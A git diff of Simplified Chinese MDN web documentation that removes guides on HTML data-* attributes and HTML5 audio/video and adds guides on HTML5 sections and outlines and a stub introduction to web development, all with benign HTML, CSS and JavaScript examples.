diff --git a/files/zh-cn/web/guide/html/using_data_attributes/index.html b/files/zh-cn/web/guide/html/using_data_attributes/index.html deleted file mode 100644 index 009517f416..0000000000 --- a/files/zh-cn/web/guide/html/using_data_attributes/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: 使用数据属性 -slug: Web/Guide/HTML/Using_data_attributes -tags: - - Custom Data Attributes - - HTML5 -translation_of: Learn/HTML/Howto/Use_data_attributes ---- -

{{LearnSidebar}}

- -

HTML5是具有扩展性的设计,它初衷是数据应与特定的元素相关联,但不需要任何定义。data-* 属性允许我们在标准内于HTML元素中存储额外的信息,而不需要使用类似于 classList,标准外属性,DOM额外属性或是 setUserData 之类的技巧。

- -

HTML 语法

- -

语法非常简单。所有在元素上以data-开头的属性为数据属性。比如说你有一篇文章,而你又想要存储一些不需要显示在浏览器上的额外信息。请使用data属性:

- -
<article
-  id="electriccars"
-  data-columns="3"
-  data-index-number="12314"
-  data-parent="cars">
-...
-</article>
- -

JavaScript 访问

- -

在外部使用JavaScript去访问这些属性的值同样非常简单。你可以使用{{domxref("Element.getAttribute", "getAttribute()")}}配合它们完整的HTML名称去读取它们,但标准定义了一个更简单的方法:{{domxref("DOMStringMap")}}你可以使用{{domxref("HTMLElement.dataset", "dataset")}}读取到数据。

- -

为了使用dataset对象去获取到数据属性,需要获取属性名中data-之后的部分(要注意的是破折号连接的名称需要改写为骆驼拼写法(如"index-number"转换为"indexNumber"))。

- -
var article = document.querySelector('#electriccars');
-
-article.dataset.columns // "3"
-article.dataset.indexNumber // "12314"
-article.dataset.parent // "cars"
- -

每一个属性都是一个可读写的字符串。在上面的例子中,article.dataset.columns = 5.将会调整属性的值为5。

- -

CSS 访问

- -

注意,data设定为HTML属性,他们同样能被CSS访问。比如你可以通过generated content使用函数{{cssxref("attr")}}来显示data-parent的内容:

- -
article::before {
-  content: attr(data-parent);
-}
- -

你也同样可以在CSS中使用属性选择器根据data来改变样式:

- -
article[data-columns='3'] {
-  width: 400px;
-}
-article[data-columns='4'] {
-  width: 600px;
-}
- -

你可以在这个JSBin 里看到全部演示。

- -

Data属性同样可以存储不断变化的信息,比如游戏的得分。使用CSS选择器与JavaScript去访问可以让你得到花俏的效果,这里你并不需要用常规的编写方案来编写代码。有关使用生成内容和CSS转换(JSBin示例)的示例,请参阅此视频

- -

数据值是字符串。必须在选择器中引用数值才能使样式生效。

- -

Issues

- -

不要在data attribute里储存需要显示及访问的内容,因为一些其他的技术可能访问不到它们。另外爬虫不能将data attribute的值编入索引中。

- -

IE的支持度及显示效果是最主要讨论的问题。IE11+支持这个标准,但所有更早期的版本都不支持dataset。为了支持IE10及以下的版本,你必须使用{{domxref("Element.getAttribute", "getAttribute()")}} 来访问。另外,读取 data-attributes的行为相比JS存储数据会慢。使用dataset 会比使用getAttribute()读取数据来得慢。

- -

尽管如此,对于那些与元素相关的数据,这依然是一个很好的解决方案.

- -

在FireFox 49.0.2(其他版本也有可能)中,javascript将无法读出包含1022个及以上字符的data属性(EcmaScript 4).

- -

参阅

- -
 
- - diff --git a/files/zh-cn/web/guide/html/using_html5_audio_and_video/index.html b/files/zh-cn/web/guide/html/using_html5_audio_and_video/index.html deleted file mode 100644 index f1ebacd184..0000000000 --- a/files/zh-cn/web/guide/html/using_html5_audio_and_video/index.html +++ /dev/null @@ -1,275 +0,0 @@ ---- -title: 使用 HTML5 音频和视频 -slug: Web/Guide/HTML/Using_HTML5_audio_and_video -tags: - - Flash - - HTML - - HTML5 - - Media - - Ogg - - Web - - 媒体 - - 指南 - - 概述 - - 特性 - - 范例 - - 视频 - - 音频 -translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content -translation_of_original: Web/Guide/HTML/Using_HTML5_audio_and_video ---- -

HTML5 通过HTML标签“audio”和“video”来支持嵌入式的媒体,使开发者能够方便地将媒体嵌入到HTML文档中。

- -

嵌入媒体

- -

在HTML中嵌入媒体:

- -
-
<video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" controls>
-  你的浏览器不支持 <code>video</code> 标签.
-</video>
- -

这个例子展示了一个带有回放控制器的可播放视频,视频来源于Theora网站。

- -

下面是一个将音频嵌入到HTML文档的例子。

- -
<audio src="/test/audio.ogg">
-你的浏览器不支持audio标签
-</audio>
-
- -

src属性可以设置为一个音频文件的URL或者本地文件的路径。

- -
-
<audio src="audio.ogg" controls autoplay loop>
-你的浏览器不支持audio标签
-</audio>
-
- -

这个例子的代码中使用了HTML的“audio”元素的一些属性:

- -
    -
  • controls : 为网页中的音频显示标准的HTML5控制器。
  • -
  • autoplay : 使音频自动播放。
  • -
  • loop : 使音频自动重复播放。
  • -
- -
-
<audio src="audio.mp3" preload="auto" controls></audio>
-
- -

preload属性用来缓冲audio元素的大文件,有三个属性值可供设置:

- -
    -
  • "none" 不缓冲文件
  • -
  • "auto" 缓冲音频文件
  • -
  • "metadata" 仅仅缓冲文件的元数据
  • -
- -

可以用 {{ HTMLElement("source") }} 标签来指定多个文件,以为不同浏览器提供可支持的编码格式。例如:

- -
<video controls>
-  <source src="foo.ogg" type="video/ogg">
-  <source src="foo.mp4" type="video/mp4">
-  Your browser does not support the <code>video</code> element.
-</video>
-
- -

当浏览器支持Ogg格式的时候, 该代码会播放Ogg文件。 如果浏览器不支持Ogg,浏览器会播放MPEG-4 file。参见列表 audio和video元素支持的媒体格式 来查看不同浏览器对视频音频编码格式的支持情况。

- -

你也可以指定视频文件需要的视频编解码器的值;这样允许浏览器做出更加正确的决定:

- -
<video controls>
-  <source src="foo.ogg" type="video/ogg; codecs=dirac, speex">
-  Your browser does not support the <code>video</code> element.
-</video>
- -

在这里,我们指定video标签使用Dirac和Speex的视频编解码器。如果浏览器支持Ogg,但是不支持指定的编解码器,则视频不会被加载。

- -

如果类型属性没有被指定,媒体类型将返回至服务器然后检查浏览器是否可以解决;如果不能被执行,就检查下一个来源。如果没有任何一个指定的来源元素可以使用,则分派一个错误事件给video标签。如果指定了类型属性,那么将会与浏览器能够播放的类型做对比,如果其没有被识别,甚至不会被向服务器发出询问;相反,下一个来源会被同时检查。

- -

点击 媒体事件 来查看完整的媒体回放事件列表。要查看不同浏览器支持的媒体格式的详细信息, 点击 Media formats supported by the audio and video elements.

- -

媒体回放控制

- -

当你已经用新的元素将媒体嵌入 HTML 文档以后,你就可以用 JavaScript 代码 采用编程的方式来控制它们。比如说,如果你想(重新)开始播放,可以写如下的代码:

- -
var v = document.getElementsByTagName("video")[0];
-v.play();
-
- -

头一行是取得当前文档中第一个视频元素,下一行调用了该元素的 play() 方法, 这一方法在实现媒体元素的接口中定义。

- -

控制一个 HTML5 音频播放器的播放、暂停、增减音量等则直接了当:

- -
<audio id="demo" src="audio.mp3"></audio>
-<div>
-  <button onclick="document.getElementById('demo').play()">播放声音</button>
-  <button onclick="document.getElementById('demo').pause()">暂停声音</button>
-  <button onclick="document.getElementById('demo').volume+=0.1">提高音量</button>
-  <button onclick="document.getElementById('demo').volume-=0.1">降低音量</button>
-</div>
-
- -

终止媒体下载

- -

停止媒体播放很简单,只要调用 pause() 方法即可,然而浏览器还会继续下载媒体直至媒体元素被垃圾回收机制回收。

- -

以下是即刻停止媒体下载的方法:

- -
var mediaElement = document.getElementById("myMediaElementID");
-mediaElement.pause();
-mediaElement.src='';
-//or
-mediaElement.removeAttribute("src");
-
- -

通过移除媒体元素的 src 属性(或者直接将其设为一个空字符串——这取决于具体浏览器), 你可以摧毁该元素的内部解码,从而结束媒体下载。removeAttribute() 操作并不干净, 而将<video>元素的 'src' 属性设为空字符串可能会引起我们不想要的请求(Mozilla Firefox 22)。

- -

 

- -

在媒体中查找

- -

媒体元素支持在媒体的内容中从当前播放位置移到某个特定点。 这是通过设置元素的属性currentTime的值来达成的;有关元素属性的详细信息请看{{ domxref("HTMLMediaElement") }} 。 简单的设置那个你希望继续播放的以秒为单位时间值。

- -

你可以使用元素的属性seekable来决定媒体目前能查找的范围。它返回一个你可以查找的{{ domxref("TimeRanges") }} 时间对象。

- -
var mediaElement = document.getElementById('mediaElementID');
-mediaElement.seekable.start();  // 返回开始时间 (in seconds)
-mediaElement.seekable.end();    // 返回结束时间 (in seconds)
-mediaElement.currentTime = 122; // 设定在 122 seconds
-mediaElement.played.end();      // 返回浏览器播放的秒数
-
- -

标记播放范围

- -

在给一个<audio>或者<video>元素标签指定媒体的URI的时候,你可以选择性地加入一些额外信息来指定媒体将要播放的部分。要这样做的话,需要附加一个哈希标志("#"),后面跟着媒体片段的描述。

- -

一条指定时间范围的语句:

- -
#t=[starttime][,endtime]
- -

时间值可以被指定为秒数(如浮点数)或者为以冒号分隔时/分/秒格式(像2小时5分钟1秒表示为2:05:01)。

- -

一些例子:

- -
-
http://foo.com/video.ogg#t=10,20
-
指定视频播放范围为从第10秒到第20秒.
-
http://foo.com/video.ogg#t=,10.5
-
指定视频从开始播放到第10.5秒.
-
http://foo.com/video.ogg#t=,02:00:00
-
指定视频从开始播放到两小时.
-
http://foo.com/video.ogg#t=60
-
指定视频从第60秒播放到结束.
-
- -
-

媒体元素URI中播放范围部分的规范已被加入到 Gecko 9.0 {{ geckoRelease("9.0") }}. 当下, 这是Geoko Media Fragments URI specification 唯一实现的部分,并且只有是在非地址栏给媒体元素指定来源时才可使用。

-
- -

备选项

- -

在HTML之间,例如,不支持HTML5媒体的浏览器可以处理媒体元素的开始和结束标记.你可以利用这一点给这些浏览器添加一些备项。

- -

此节给视频提供了两个可能的备选项,在各种情况下,如果浏览器支持HTML5视频,它就会被使用,否则,会使用备选项。

- -

使用Flash

- -

{{ HTMLElement("video") }} 标签不被支持时可以使用Flash播放Flash格式的影像。

- -
<video src="video.ogv" controls>
-    <object data="flvplayer.swf" type="application/x-shockwave-flash">
-      <param value="flvplayer.swf" name="movie"/>
-    </object>
-</video>
- -

注意不要在object标签中加入class、id以兼容IE以外的浏览器。

- -

使用Java 小程序播放Ogg视频

- -

这里有一个名为Cortado的Java小程序,在不支持HTML5视频的浏览器你可以用它作为备选项来播放Ogg视频:

- -
<video src="my_ogg_video.ogg" controls width="320" height="240">
-  <object type="application/x-java-applet" width="320" height="240">
-     <param name="archive" value="cortado.jar">
-     <param name="code" value="com.fluendo.player.Cortado.class">
-     <param name="url" value="my_ogg_video.ogg">
-     <p>You need to install Java to play this file.</p>
-  </object>
-</video>
- -

如果你没有给cortado object元素创建一个备用的子元素,像上面的 {{ HTMLElement("p") }} 元素,没有安装java的Firfox3.5设备就会错误的通知用户需要安装一个插件才能查看页面内容.

- -

{{ h1_gecko_minversion("错误处理", "2.0") }}

- -

Geocko2.0首发{{ geckoRelease("2.0") }}, 错误处理已经被修订符合HTML5的最新版规范。 取缔把错误事件发送给媒体元素自生的方式,现在把它交付给子代中的 {{ HTMLElement("source") }}元素对应导致错误的来源。

- -

这使你可以查到是哪个资源加载失败,哪个是可用的。

- -
<video>
-<source id="mp4_src"
-  src="video.mp4"
-  type='video/mp4; codecs="avc1.42E01E, mp4a.40.2"'>
-</source>
-<source id="3gp_src"
-  src="video.3gp"
-  type='video/3gpp; codecs="mp4v.20.8, samr"'>
-</source>
-<source id="ogg_src"
-  src="video.ogv"
-  type='video/ogg; codecs="theora, vorbis"'>
-</source>
-</video>
- -

由于专利限制,Firefox不支持MP4和3GP,ID为“mp4_src"和"3gp_src"的 {{ HTMLElement("source") }} 元素在Ogg资源加载之前将会接收到错误事件。这些资源会根据出现的顺序尝试被加载,一旦有一个资源加载成功,剩下的资源就不会被加载。

- -

没有资源加载成功时的检测

- -

检测是否所有的子{{ HTMLElement("source") }} 元素都加载失败,检查媒体元素的networkState属性值。如果值为HTMLMediaElement.NETWORK_NO_SOURCE,就可以知道所以的资源都加载失败了。

- -

如果这时你通过插入一个新的 {{ HTMLElement("source") }} 元素作为媒体元素的子元素的方法添加一个新资源,Gecko会尝试加载指定的资源。

- -

没有资源可用时显示备用内容

- -

另一个显示视频的备用内容的方法是在最后一个source元素上增加一个错误处理器。

- -
<video controls>
-  <source src="dynamicsearch.mp4" type="video/mp4"></source>
-  <a href="dynamicsearch.mp4">
-    <img src="dynamicsearch.jpg" alt="Dynamic app search in Firefox OS">
-  </a>
-  <p>Click image to play a video demo of dynamic app search</p>
-</video>
-
-
- -
var v = document.querySelector('video'),
-    sources = v.querySelectorAll('source'),
-    lastsource = sources[sources.length-1];
-lastsource.addEventListener('error', function(ev) {
-  var d = document.createElement('div');
-  d.innerHTML = v.innerHTML;
-  v.parentNode.replaceChild(d, v);
-}, false);
-
- -

相关文章

- - diff --git a/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html b/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html new file mode 100644 index 0000000000..2eeb6fe100 --- /dev/null +++ b/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html @@ -0,0 +1,377 @@ +--- +title: 使用 HTML 章节与大纲 +slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document +tags: + - HTML + - HTML5 + - 指南 + - 文档结构 + - 高阶 +translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines +--- +
+

(下方英文原文警告的过时已翻译版本)注意:下面描述的HTML 5 大纲算法在用户代理中还没有实现,因此,使用标题语义的用户暴露在HTML4的文档结构下。HTML5对问题的描述还仅仅是理论上的。

+
+ +
+

Important: There are no implementations of the proposed outline algorithm in web browsers nor assistive technology; it was never part of a final W3C specification. Therefore the outline algorithm should not be used to convey document structure to users. Authors are advised to use heading rank (h1-h6) to convey document structure.

+
+ +

HTML5新增了几个新元素使得开发者可以用标准语义去描述web文档的结构。本文描述了这些元素并说明如何使用这些元素去为任何文档定义纲要。

+ +

HTML 4 的文档结构

+ +

文档结构,即,<body></body> 标记之间内容的语义结构,对呈现页面给用户是重要的。HTML4用文档中章节和子章节的概念去描述文档结构。一个章节由一个包含着标题元素(h1-h6)的div元素表示。这些html划分元素(HTML Dividing Elements)和标题元素(HTML Heading Elements)形成了文档的结构和纲要。

+ +

所以下面的片段:

+ +
+
<div class="section" id="forest-elephants" >
+  <h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <div class="subsection" id="forest-habitat" >
+    <h2>Habitat</h2>
+    <p>Forest elephants do not live in trees but among them.
+     ...this subsection continues...
+  </div>
+</div>
+
+
+ +

形成了如下的大纲:

+ +
1. Forest elephants
+   1.1 Habitat
+
+ +

HTML div 元素( {{HTMLElement("div")}} elements)并不强制性地定义一个章节。一个 HTML 标题元素( HTML Heading Element)的出现就足以意味着新的章节. 因此,

+ +
<h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <h2>Habitat</h2>
+  <p>Forest elephants do not live in trees but among them.
+    ...this subsection continues...
+  <h2>Diet</h2>
+<h1>Mongolian gerbils</h1>
+
+ +

会形成如下的大纲:

+ +
1. Forest elephants
+   1.1 Habitat
+   1.2 Diet
+2. Mongolian gerbils
+
+ +

HTML5 解决的问题

+ +

HTML 4 的文档结构定义和其隐含的大纲算法非常粗糙而且造成了很多问题:

+ +
    +
  1.  定义语义性章节的{{HTMLElement("div")}} 元素的用法,如果没有为class属性赋以特殊的值,使生成自动生成大纲的算法变得不可能 ("一个div元素{{HTMLElement("div")}} 是不是大纲的一部分, 定义的是章节还是子章节?" 或者 "该div元素 {{HTMLElement("div")}}是仅仅为了样式化?")。换句话说, HTML4规范在章节的定义和章节的范围都不精确。 自动生成大纲是重要的,尤其是在倾向于通过根据文档大纲内容去展示内容的辅助技术( assistive technology)。 HTML5 在自动生成大纲算法的过程中去掉了div元素({{HTMLElement("div")}}),并新增了一个元素,section元素({{HTMLElement("section")}})。
  2. +
  3. 合并多个文档是困难的:主文档中包含子文档意味着改变HTML标题元素的级别,以使得文档大纲能够保持下来。 这个已经被HTML5的新的章节元素解决了,因为新引入的元素({{HTMLElement("article")}}、{{HTMLElement("section")}}、{{HTMLElement("nav")}} 和 {{HTMLElement("aside")}})总是距离其最近的祖先章节的子章节, 与子文档章节内部的标题没有关系.
  4. +
  5. HTML4中,所有的章节都是文档大纲中的一部分。但是文档并不总是这样。文档可以包含那些不是大纲的特殊章节, 但是与文档有关的, 就像广告块和解释区域。 HTML5 引入aside元素 {{HTMLElement("aside")}}使得这样的节点不会插入到主纲要中。 
  6. +
  7. 另外, 因为在 HTML4中任何的部分都是文档大纲的一部分, 没有办法产生与网站相关而不是与文档相关的节段,比如logos,menus,目录或版权信息和法律声明。为了这个目的, HTML5 引入了三个特殊的节段 元素: 包含链接集合的nav元素{{HTMLElement("nav")}} , 例如目录, 包含网站相关信息的footer元素{{HTMLElement("footer")}} 和header元素 {{HTMLElement("header")}} 。
  8. +
+ +

更具有普遍意义的是HTML5使得章节和标题特性更精确。使得文档大纲变的可预测,浏览器使用后也可以提高用户体验。

+ +

HTML5 的大纲算法

+ +

定义节段

+ +

 {{HTMLElement("body")}} 元素中的所有内容都是节段中的一部分。节段在 HTML5 中是可以嵌套的。{{HTMLElement("body")}} 元素定义了主节段,基于主节段,可以显式或隐式定义各个子节段的划分。显式定义的节段是通过{{HTMLElement("body")}},  {{HTMLElement("section")}},  {{HTMLElement("article")}},  {{HTMLElement("aside")}}和 {{HTMLElement("nav")}} 这些标记中的内容。 

+ +
注意:每个section可以有自己的标题结构。因此,即使是一个嵌套的section也能有{{HTMLElement("h1")}}. 具体查看 Defining Headings in HTML5.
+ +

Example:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <section>
+    <h1>Introduction</h1>
+    <p>In this section, we discuss the lesser known forest elephants.</p>
+  </section>
+  <section>
+    <h1>Habitat</h1>
+    <p>Forest elephants do not live in trees but among them.</p>
+  </section>
+  <aside>
+    <p>advertising block</p>
+  </aside>
+</section>
+<footer>
+  <p>(c) 2010 The Example company</p>
+</footer>
+ +

这个HTML片段定义了两个顶级节段:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <section>
+    <h1>Introduction</h1>
+    <p>In this section, we discuss the lesser known forest elephants.</p>
+  </section>
+  <section>
+    <h1>Habitat</h1>
+    <p>Forest elephants do not live in trees but among them.</p>
+  </section>
+  <aside>
+    <p>advertising block</p>
+  </aside>
+</section>
+
+<footer>
+  <p>(c) 2010 The Example company</p>
+</footer>
+ +

第一个节段有三个子节段:

+ +
<section>
+  <h1>Forest elephants</h1>
+
+  <section>
+    <h1>Introduction</h1>
+    <p>In this section, we discuss the lesser known forest elephants.</p>
+  </section>
+
+  <section>
+    <h1>Habitat</h1>
+    <p>Forest elephants do not live in trees but among them.</p>
+  </section>
+
+  <aside>
+    <p>advertising block</p>
+  </aside>
+</section>
+
+<footer>
+  <p>(c) 2010 The Example company</p>
+</footer>
+ +

上面的片段形成了如下的大纲:

+ +
1. Forest elephants
+   1.1 Introduction
+   1.2 Habitat
+   1.3 Section (aside)
+
+ +

在HTML5中定义标题

+ +

当 HTML 节段元素定义文档结构时,文档大纲也需要有用的标题。基本规则是简单的:第一个 HTML 标题元素({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}之一)定义了当前节段的标题

+ +

标题元素通过在元素里的名字加上数字来分级标题元素,{{HTMLElement("h1")}} 元素有最高级别,{{HTMLElement("h6")}} 有最低级别。相关的级别只在节段中起作用;节段的结构定义了大纲,而不是节段的标题。例如,下面的代码:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <section>
+    <h2>Habitat</h2>
+    <p>Forest elephants do not live in trees but among them.
+        ...this subsection continues...
+  </section>
+</section>
+<section>
+  <h3>Mongolian gerbils</h3>
+  <p>In this section, we discuss the famous mongolian gerbils.
+     ...this section continues...
+</section>
+ +

形成了下面的大纲:

+ +
1. Forest elephants
+   1.1 Habitat
+2. Mongolian gerbils
+ +

注意标题元素的级别(例子中的第一个顶层节段的 {{HTMLElement("h1")}},子节段中的{{HTMLElement("h2")}} 和第二个顶层节段中的{{HTMLElement("h3")}})并不重要。(任何级别可以用作显示定义的节段的标题,虽然这种做法并不推荐。)

+ +

隐式分节

+ +

因为HTML5分节元素并不强制性定义大纲,为了与现有的占主导地位的HTML4保持兼容,有个方式来定义节段而不需要分节元素。这种方式就是隐式分节。

+ +

HTML标题元素 ({{HTMLElement("h1")}} 到 {{HTMLElement("h6")}}) 定义了一个新的,隐式的节段,当其不是父节段第一个标题时。这种隐式放置节段的方式通过在父节点中与之前标题的相对级别来定义。如果比之前的标题级别更低,那么在节段里开始新的隐式子节段。如代码所示:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <h3 class="implicit subsection">Habitat</h3>
+  <p>Forest elephants do not live in trees but among them.
+    ...this subsection continues...
+</section>
+ +

形成如下的大纲:

+ +
1. Forest elephants
+   1.1 Habitat (implicitly defined by the h3 element)
+ +

如果与前面标题的级别相同,那么闭合前面的节段(可能是显式标记的节段!)并开始新的同一级别的隐式节段:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <h1 class="implicit section">Mongolian gerbils</h1>
+  <p>Mongolian gerbils are cute little mammals.
+    ...this section continues...
+</section>
+ +

形成如下的大纲:

+ +
1. Forest elephants
+2. Mongolian gerbils (implicitly defined by the h1 element, which closed the previous section at the same time)
+ +

如果比之前标题的级别更高,那么关闭之前的节段并开始新的这个更高级别的隐式节段:

+ +
<body>
+  <h1>Mammals</h1>
+  <h2>Whales</h2>
+  <p>In this section, we discuss the swimming whales.
+    ...this section continues...
+  <section>
+    <h3>Forest elephants</h3>
+    <p>In this section, we discuss the lesser known forest elephants.
+      ...this section continues...
+    <h3>Mongolian gerbils</h3>
+      <p>Hordes of gerbils have spread their range far beyond Mongolia.
+         ...this subsection continues...
+    <h2>Reptiles</h2>
+      <p>Reptiles are animals with cold blood.
+          ...this subsection continues...
+  </section>
+</body>
+ +

形成如下的大纲:

+ +
1. Mammals
+   1.1 Whales (implicitly defined by the h2 element)
+   1.2 Forest elephants (explicitly defined by the section element)
+   1.3 Mongolian gerbils (implicitly defined by the h3 element, which closes the previous section at the same time)
+2. Reptiles (implicitly defined by the h2 element, which closes the previous section at the same time)
+ +

这并不是一眼就可以通过标题标记就可以看出来的大纲。为了使标记容易理解,用显式的标记开始和闭合节段以及匹配标题等级与期望的嵌套节段等级。然而,HTML5规范并不需要这样。如果你发现浏览器以不期望的方式渲染文档,检查是否有隐式的节段没有闭合。

+ +

作为经验法则,标题级别应该与节段嵌套级别相匹配,但为了方便节段在多个文档中的重用,也存在例外的情况。例如,一个节段可能会存储在内容管理系统中并在运行时组装为完整的文档。在这种情况下,好的实践便是使用{{HTMLElement("h1")}}作为可重用部分的最高标题级别。可重用节段的嵌套级别应该取决于将使用该节段的文档的节段层级。显式节段标记仍然在这种情况下有用处。

+ +

分节根

+ +

分节根是一个HTML元素,这个元素可以拥有自己的大纲,但是元素内部的节段和标题对其祖先的大纲没有贡献。除了文档的逻辑分节根{{HTMLElement("body")}}元素,这些元素经常在页面中引入外部内容:{{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} 和{{HTMLElement("td")}}。

+ +

Example:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <section>
+    <h2>Introduction</h2>
+    <p>In this section, we discuss the lesser known forest elephants</p>
+  </section>
+  <section>
+    <h2>Habitat</h2>
+    <p>Forest elephants do not live in trees but among them. Let's
+       look what scientists are saying in "<cite>The Forest Elephant in Borneo</cite>":</p>
+    <blockquote>
+       <h1>Borneo</h1>
+       <p>The forest element lives in Borneo...</p>
+    </blockquote>
+  </section>
+</section>
+
+ +

例子形成如下的大纲:

+ +
1. Forest elephants
+   1.1 Introduction
+   1.2 Habitat
+ +

这个大纲并不包含 {{HTMLElement("blockquote")}} 元素的内部大纲。{{HTMLElement("blockquote")}} 元素是一个外部引用,是一个分节根并隔离了他内部的大纲

+ +

大纲之外的节段

+ +

HTML5引入了2个新的元素,用来定义那些不属于web文档主要大纲中的节段。

+ +
    +
  1. HTML 侧边分节元素 ({{HTMLElement("aside")}}) 定义了这样的节段, 虽然是主要的分节元素, 但并不属于主要的文档流, 就像解释栏或广告栏. aside元素内部有自己的大纲,但并不计入文档大纲中
  2. +
  3. HTML 导航分节元素 ({{HTMLElement("nav")}}) 定义的节段包含了很多导航links。文档中可以有好几个这样的元素,比如文档内部的链接,就像目录,和链接到其他站点的导航links。这些链接并不是主文档流和文档大纲中的一部分 ,并且能够特别让屏幕浏览器和类似的辅助技术从一开始就不渲染该标记里的内容。
  4. +
+ +

页眉和页脚

+ +

HTML5引入了两个可以用于标记节段的页眉和页脚的新元素。

+ +
    +
  1. HTML 头部分节元素 ({{HTMLElement("header")}}) 定义了页面的页眉,通常会包含logo和站点名称以及水平菜单(如果有的话)。或是一个节段的头部,可能包含了节段的标题和作者名字等。{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}}可以拥有它们自己的{{HTMLElement("header")}}。虽然名字是header,但是不一定是在页面的开始。
  2. +
  3. HTML 页脚元素 ({{HTMLElement("footer")}}) 定义了页脚, 通常会包含版权信息和法律声明以及一些其他链接。或是节段的页脚,可能包含了节段的发布数据、许可声明等。{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} 可以拥有它们自己的 {{HTMLElement("footer")}}。同样,其不一定是在页面的底部出现。
  4. +
+ +

分节元素中的地址和发表时间

+ +

文档的作者想要发布一些联系信息,例如作者的名字和地址。HTML4通过{{HTMLElement("address")}}元素来表示,HTML5则拓展了这个元素。

+ +

一个文档可以由不同作者的不同节段组成。一个从其他作者而不是文档作者写的节段用{{HTMLElement("article")}}元素定义。因此, {{HTMLElement("address")}} 元素连接到距离最近的{{HTMLElement("body")}}或{{HTMLElement("article")}} 祖先元素。

+ +

同样的,新的HTML5标记 {{HTMLElement("time")}}元素,使用{{htmlattrxref("pubdate", "time")}}布尔值,表示整个文档的发布时间,分别给文章,与其最近的{{HTMLElement("body")}}元素或{{HTMLElement("article")}} 元素的祖先元素相关。

+ +

在不支持HTML5的浏览器器中使用HTML5

+ +

分节和标题元素应该在大部分的不支持HTML5的浏览器中工作。尽管不支持,但不必使用特殊的DOM接口。仅仅只需要一个特殊的CSS样式,因为未知元素默认会样式化为display:inline:

+ +
section, article, aside, footer, header, nav, hgroup {
+  display:block;
+}
+
+
+ +

当然web开发者可以改变上面的样式结构,但是要记住的是在不支持HTML5浏览器中,这些元素默认的样式是与预期的样式是不同的。还要注意的是{{HTMLElement("time")}}元素并没有在这些元素中,因为其样式在不支持HTML5和兼容HTML5的浏览器中的表现是相同的。

+ +

然而这种方法有自己的局限性,因为一些浏览器并不允许样式化不支持的元素。这种情形出现在ie8及ie8以前的浏览器中,需要一个特殊脚本才行:

+ +
<!--[if lt IE 9]>
+  <script>
+    document.createElement("header" );
+    document.createElement("footer" );
+    document.createElement("section");
+    document.createElement("aside"  );
+    document.createElement("nav"    );
+    document.createElement("article");
+    document.createElement("hgroup" );
+    document.createElement("time"   );
+  </script>
+<![endif]-->
+ +

这段脚本表示,当在ie8(及ie8以前)的情况下,应该允许脚本的运行以合适地展示HTML5分节和标题元素。如果禁用了脚本,则不会显示,可能会出问题因为这些元素定义整个页面的结构。为了预防这种情况,我们需要加上{{HTMLElement("noscript")}}标签。

+ +
<noscript>
+   <strong>Warning !</strong>
+   Because your browser does not support HTML5, some elements are simulated using JScript.
+   Unfortunately your browser has disabled scripting. Please enable it in order to display this page.
+</noscript>
+ +

于是形成了如下的代码,允许HTML5节段和标题元素在不支持HTML5的浏览器中展示,即使是ie8(ie8以下版本)也在禁用脚本的情况下有了合适的反馈。

+ +
<!--[if lt IE 9]>
+  <script>
+    document.createElement("header" );
+    document.createElement("footer" );
+    document.createElement("section");
+    document.createElement("aside"  );
+    document.createElement("nav"    );
+    document.createElement("article");
+    document.createElement("hgroup" );
+    document.createElement("time"   );
+  </script>
+  <noscript>
+     <strong>Warning !</strong>
+     Because your browser does not support HTML5, some elements are simulated using JScript.
+     Unfortunately your browser has disabled scripting. Please enable it in order to display this page.
+  </noscript>
+<![endif]-->
+ +

总结

+ +

HTML5中新的节段和标题标签带来了以标准的方法来描述web文档的结构和大纲。其为人们使用HTML5浏览器和需要结构来帮助他们理解页面带来了一个很大的优势。例如,人们需要一些辅助技术的帮助。这些新的语义元素使用简单,几乎没有负担,也可以在不支持HTML5的浏览器中工作。因此,他们应该被广泛使用。

+ +
{{HTML5ArticleTOC()}}
diff --git a/files/zh-cn/web/guide/introduction_to_web_development/index.html b/files/zh-cn/web/guide/introduction_to_web_development/index.html new file mode 100644 index 0000000000..9178cb39f5 --- /dev/null +++ b/files/zh-cn/web/guide/introduction_to_web_development/index.html @@ -0,0 +1,28 @@ +--- +title: Web开发介绍 +slug: Web_Development/Introduction_to_Web_development +translation_of: Web/Guide/Introduction_to_Web_development +--- +

不论你是刚开始Web开发,还是想学习Web开发,这些链接都能帮助你。至少,立刻我们就能在这儿看到很多链接。

+
+ Note: This page is obviously a stub; we need to generate content here.
+ + + + + + + +
+

文档主题

+

暂无文章,欢迎补充。

+
+

资源

+
+
+ w3schools
+
+ 免费Web开发教程,从HTML入门到进阶Web技术。
+
+
+

 

